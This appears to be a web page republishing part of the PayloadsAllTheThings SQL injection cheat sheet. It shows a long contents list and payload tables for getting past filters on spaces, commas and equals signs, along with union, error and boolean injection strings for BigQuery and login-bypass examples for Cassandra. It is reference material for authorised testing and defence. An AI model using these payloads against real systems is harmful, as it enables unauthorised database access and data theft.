Skip to content

Payload topic

SQL Injection

SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on…

Passages
186
Bounty reports
of this class
186 passages
Contents
  1. SQL Injection
  2. Entry Point Detection
  3. DBMS Identification Keyword Based
  4. DBMS Identification Error Based
  5. Authentication Bypass
  6. Raw MD5 and SHA1
  7. Hashed Passwords
  8. UNION Based Injection
  9. Error Based Injection
  10. Blind Injection
  11. Boolean Based Injection
  12. Blind Error Based Injection
  13. Time Based Injection
  14. Out of Band (OAST)
  15. Stacked Based Injection
  16. Polyglot Injection
  17. Routed Injection
  18. Second Order SQL Injection
  19. PDO Prepared Statements
  20. Generic WAF Bypass
  21. No Space Allowed
  22. Alternative Whitespace Characters
  23. Bypassing with Comments and Parentheses
  24. No Comma Allowed
  25. No Equal Allowed
  26. Case Modification
  27. BigQuery Injection: Google BigQuery SQL Injection
  28. BigQuery Injection: Detection
  29. BigQuery Injection: BigQuery Comment
  30. BigQuery Injection: BigQuery Union Based
  31. BigQuery Injection: BigQuery Error Based
  32. BigQuery Injection: BigQuery Boolean Based
  33. BigQuery Injection: BigQuery Time Based
  34. Cassandra Injection: Cassandra Injection
  35. Cassandra Injection: CQL Injection Limitations
  36. Cassandra Injection: Cassandra Comment
  37. Cassandra Injection: Example #1
  38. Cassandra Injection: Example #2
  39. DB2 Injection: DB2 Injection
  40. DB2 Injection: DB2 Comments
  41. DB2 Injection: DB2 Default Databases
  42. DB2 Injection: DB2 Enumeration
  43. DB2 Injection: DB2 Methodology
  44. DB2 Injection: DB2 Error Based
  45. DB2 Injection: DB2 Blind Based
  46. DB2 Injection: DB2 Time Based
  47. DB2 Injection: DB2 Command Execution
  48. DB2 Injection: Avoiding Quotes
  49. DB2 Injection: DB2 Accounts and Privileges
  50. MSSQL Injection: MSSQL Injection
  51. MSSQL Injection: MSSQL Default Databases
  52. MSSQL Injection: MSSQL Comments
  53. MSSQL Injection: MSSQL Enumeration
  54. MSSQL Injection: MSSQL List Databases
  55. MSSQL Injection: MSSQL List Tables
  56. MSSQL Injection: MSSQL List Columns
  57. MSSQL Injection: MSSQL Union Based
  58. MSSQL Injection: MSSQL Error Based
  59. MSSQL Injection: MSSQL Blind Based
  60. MSSQL Injection: MSSQL Blind With Substring Equivalent
  61. MSSQL Injection: MSSQL Time Based
  62. MSSQL Injection: MSSQL Stacked Query
  63. MSSQL Injection: MSSQL Read File
  64. MSSQL Injection: MSSQL Write File
  65. MSSQL Injection: XPCMDSHELL
  66. MSSQL Injection: Python Script
  67. MSSQL Injection: MSSQL DNS exfiltration
  68. MSSQL Injection: MSSQL UNC Path
  69. MSSQL Injection: MSSQL Trusted Links
  70. MSSQL Injection: MSSQL List Permissions
  71. MSSQL Injection: MSSQL Make User DBA
  72. MSSQL Injection: MSSQL Database Credentials
  73. MSSQL Injection: MSSQL OPSEC
  74. MySQL Injection: MySQL Injection
  75. MySQL Injection: MYSQL Default Databases
  76. MySQL Injection: MYSQL Comments
  77. MySQL Injection: MYSQL Testing Injection
  78. MySQL Injection: Detect Columns Number
  79. MySQL Injection: Iterative NULL Method
  80. MySQL Injection: ORDER BY Method
  81. MySQL Injection: LIMIT INTO Method
  82. MySQL Injection: Extract Database With InformationSchema
  83. MySQL Injection: Extract Columns Name Without InformationSchema
  84. MySQL Injection: Extract Data Without Columns Name
  85. MySQL Injection: MYSQL Error Based
  86. MySQL Injection: MYSQL Error Based - Basic
  87. MySQL Injection: MYSQL Error Based - UpdateXML Function
  88. MySQL Injection: MYSQL Error Based - Extractvalue Function
  89. MySQL Injection: MYSQL Error Based - NAMECONST function (only for constants)
  90. MySQL Injection: MYSQL Blind With Substring Equivalent
  91. MySQL Injection: MYSQL Blind Using a Conditional Statement
  92. MySQL Injection: MYSQL Blind With MAKESET
  93. MySQL Injection: MYSQL Blind With LIKE
  94. MySQL Injection: MySQL Blind with REGEXP
  95. MySQL Injection: MYSQL Time Based
  96. MySQL Injection: Using SLEEP in a Subselect
  97. MySQL Injection: Using Conditional Statements
  98. MySQL Injection: MYSQL DIOS - Dump in One Shot
  99. MySQL Injection: MYSQL Current Queries
  100. MySQL Injection: MYSQL Read Content of a File
  101. MySQL Injection: WEBSHELL - OUTFILE Method
  102. MySQL Injection: WEBSHELL - DUMPFILE Method
  103. MySQL Injection: COMMAND - UDF Library
  104. MySQL Injection: MYSQL INSERT
  105. MySQL Injection: MYSQL Truncation
  106. MySQL Injection: MYSQL Out of Band
  107. MySQL Injection: DNS Exfiltration
  108. MySQL Injection: UNC Path - NTLM Hash Stealing
  109. MySQL Injection: Alternative to Information Schema
  110. MySQL Injection: Alternative to VERSION
  111. MySQL Injection: Alternative to GROUPCONCAT
  112. MySQL Injection: Scientific Notation
  113. MySQL Injection: Conditional Comments
  114. MySQL Injection: Wide Byte Injection (GBK)
  115. OracleSQL Injection: Oracle SQL Injection
  116. OracleSQL Injection: Oracle SQL Default Databases
  117. OracleSQL Injection: Oracle SQL Comments
  118. OracleSQL Injection: Oracle SQL Enumeration
  119. OracleSQL Injection: Oracle SQL Database Credentials
  120. OracleSQL Injection: Oracle SQL List Databases
  121. OracleSQL Injection: Oracle SQL List Tables
  122. OracleSQL Injection: Oracle SQL List Columns
  123. OracleSQL Injection: Oracle SQL Error Based
  124. OracleSQL Injection: Oracle SQL Blind
  125. OracleSQL Injection: Oracle Blind With Substring Equivalent
  126. OracleSQL Injection: Oracle SQL Time Based
  127. OracleSQL Injection: Oracle SQL Out of Band
  128. OracleSQL Injection: Oracle SQL Command Execution
  129. OracleSQL Injection: Oracle Java Execution
  130. OracleSQL Injection: Oracle Java Class
  131. OracleSQL Injection: Package oscommand
  132. OracleSQL Injection: DBMSSCHEDULER Jobs
  133. OracleSQL Injection: OracleSQL File Manipulation
  134. OracleSQL Injection: OracleSQL Read File
  135. OracleSQL Injection: OracleSQL Write File
  136. PostgreSQL Injection: PostgreSQL Injection
  137. PostgreSQL Injection: PostgreSQL Comments
  138. PostgreSQL Injection: PostgreSQL Enumeration
  139. PostgreSQL Injection: PostgreSQL Methodology
  140. PostgreSQL Injection: PostgreSQL Error Based
  141. PostgreSQL Injection: PostgreSQL XML Helpers
  142. PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent
  143. PostgreSQL Injection: Identify Time Based
  144. PostgreSQL Injection: Database Dump Time Based
  145. PostgreSQL Injection: Table Dump Time Based
  146. PostgreSQL Injection: Columns Dump Time Based
  147. PostgreSQL Injection: PostgreSQL Out of Band
  148. PostgreSQL Injection: PostgreSQL Stacked Query
  149. PostgreSQL Injection: PostgreSQL File Read
  150. PostgreSQL Injection: PostgreSQL File Write
  151. PostgreSQL Injection: Using COPY TO/FROM PROGRAM
  152. PostgreSQL Injection: Using libc.so.6
  153. PostgreSQL Injection: Alternative to Quotes
  154. PostgreSQL Injection: PostgreSQL List Privileges
  155. PostgreSQL Injection: PostgreSQL Superuser Role
  156. SQLite Injection: SQLite Injection
  157. SQLite Injection: SQLite Comments
  158. SQLite Injection: SQLite Enumeration
  159. SQLite Injection: SQLite String Methodology
  160. SQLite Injection: SQLite Blind Methodology
  161. SQLite Injection: SQLite Blind With Substring Equivalent
  162. SQLite Injection: SQlite Error Based
  163. SQLite Injection: SQlite Time Based
  164. SQLite Injection: Attach Database
  165. SQLite Injection: Loadextension
  166. SQLite Injection: SQLite Read File
  167. SQLite Injection: SQLite Write File
  168. SQLmap: SQLmap
  169. SQLmap: Basic Arguments For SQLmap
  170. SQLmap: Load A Request File
  171. SQLmap: Custom Injection Point
  172. SQLmap: Second Order Injection
  173. SQLmap: Getting A Shell
  174. SQLmap: Crawl And Auto-Exploit
  175. SQLmap: Proxy Configuration For SQLmap
  176. SQLmap: Injection Tampering
  177. SQLmap: Suffix And Prefix
  178. SQLmap: Default Tamper Scripts
  179. SQLmap: Custom Tamper Scripts
  180. SQLmap: Custom SQL Payload
  181. SQLmap: Evaluate Python Code
  182. SQLmap: Preprocess And Postprocess Scripts
  183. SQLmap: Preprocessing Script (preprocess.py)
  184. SQLmap: Postprocessing Script (postprocess.py)
  185. SQLmap: Reduce Requests Number
  186. SQLmap: SQLmap Without SQL Injection

No Space Allowed

SourceOn the Atlas

Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.

Alternative Whitespace Characters

SourceOn the Atlas

Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters. | Example Payload | Description | | ------------------------ | ------------------------------- | | `?id=1%09and%091=1%09--` | `%09` is tab (`\t`) | | `?id=1%0Aand%0A1=1%0A--` | `%0A` is line feed (`\n`) | | `?id=1%0Band%0B1=1%0B--` | `%0B` is vertical tab | | `?id=1%0Cand%0C1=1%0C--` | `%0C` is form feed | | `?id=1%0Dand%0D1=1%0D--` | `%0D` is carriage return (`\r`) | | `?id=1%A0and%A01=1%A0--` | `%A0` is non-breaking space | **ASCII Whitespace Support by Database**: | DBMS | Supported Whitespace Characters (Hex) | | ---------- | ------------------------------------------------- | | SQLite3 | 0A, 0D, 0C, 09, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 3 | 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | | MSSQL | 01–1F, 20 |

Bypassing with Comments and Parentheses

SourceOn the Atlas

SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters: | Bypass | Technique | | ----------------------------------------- | ------------------- | | `?id=1/*comment*/AND/**/1=1/**/--` | Comment | | `?id=1/*!12345UNION*//*!12345SELECT*/1--` | Conditional comment | | `?id=(1)and(1)=(1)--` | Parenthesis |

No Comma Allowed

SourceOn the Atlas

Bypass using `OFFSET`, `FROM` and `JOIN`. | Forbidden | Bypass | | ------------------- | ------------------------------------------------------------------------------------ | | `LIMIT 0,1` | `LIMIT 1 OFFSET 0` | | `SUBSTR('SQL',1,1)` | `SUBSTR('SQL' FROM 1 FOR 1)` | | `SELECT 1,2,3,4` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d` |

No Equal Allowed

SourceOn the Atlas

Bypass using LIKE/NOT IN/IN/BETWEEN | Bypass | SQL Example | | --------- | ------------------------------------------ | | `LIKE` | `SUBSTRING(VERSION(),1,1)LIKE(5)` | | `NOT IN` | `SUBSTRING(VERSION(),1,1)NOT IN(4,3)` | | `IN` | `SUBSTRING(VERSION(),1,1)IN(4,3)` | | `BETWEEN` | `SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4` |

Case Modification

SourceOn the Atlas

Bypass using uppercase/lowercase. | Bypass | Technique | | ------ | ---------- | | `AND` | Uppercase | | `and` | Lowercase | | `aNd` | Mixed case | Bypass using keywords case insensitive or an equivalent operator. | Forbidden | Bypass | | --------- | --------------------------- | | `AND` | `&&` | | `OR` | `\|\|` | | `=` | `LIKE`, `REGEXP`, `BETWEEN` | | `>` | `NOT BETWEEN 0 AND X` | | `WHERE` | `HAVING` |

BigQuery Injection: Google BigQuery SQL Injection

SourceOn the Atlas

> Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.

BigQuery Injection: Detection

SourceOn the Atlas

* Use a classic single quote to trigger an error: `'` * Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...``` | SQL Query | Description | | ----------------------------------------------------- | ------------------------------------------------- | | `SELECT @@project_id` | Gathering project id | | `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names | | `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset |

BigQuery Injection: BigQuery Comment

SourceOn the Atlas

| Type | Description | | -------------------------- | --------------- | | `#` | Hash comment | | `/* PostgreSQL Comment */` | C-style comment |

BigQuery Injection: BigQuery Union Based

SourceOn the Atlas
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM  (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#

BigQuery Injection: BigQuery Error Based

SourceOn the Atlas

| SQL Query | Description | | -------------------------------------------------------- | ---------------- | | `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero | | `select CAST(@@project_id AS INT64)` | Casting |

BigQuery Injection: BigQuery Boolean Based

SourceOn the Atlas
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

BigQuery Injection: BigQuery Time Based

SourceOn the Atlas

* Time based functions does not exist in the BigQuery syntax.

Cassandra Injection: Cassandra Injection

SourceOn the Atlas

> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system.

Cassandra Injection: CQL Injection Limitations

SourceOn the Atlas

* Cassandra is a non-relational database, so CQL doesn't support `JOIN` or `UNION` statements, which makes cross-table queries more challenging. * Additionally, Cassandra lacks convenient built-in functions like `DATABASE()` or `USER()` for retrieving database metadata. * Another limitation is the absence of the `OR` operator in CQL, which prevents creating always-true conditions; for instance, a query like `SELECT * FROM table WHERE col1='a' OR col2='b';` will be rejected. * Time-based SQL injections, which typically rely on functions like `SLEEP()` to introduce a delay, are also difficult to execute in CQL since it doesn’t include a `SLEEP()` function. * CQL does not allow subqueries or other nested statements, so a query like `SELECT * FROM table WHERE column=(SELECT column FROM table LIMIT 1);` would be rejected.

Cassandra Injection: Example #1

SourceOn the Atlas
username: admin' ALLOW FILTERING; %00
password: ANY

Cassandra Injection: Example #2

SourceOn the Atlas
username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

DB2 Injection: DB2 Injection

SourceOn the Atlas

> IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments.

DB2 Injection: DB2 Comments

SourceOn the Atlas

| Type | Description | | ---- | ----------- | | `--` | SQL comment |

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.

Updated AboutDevelopersSign in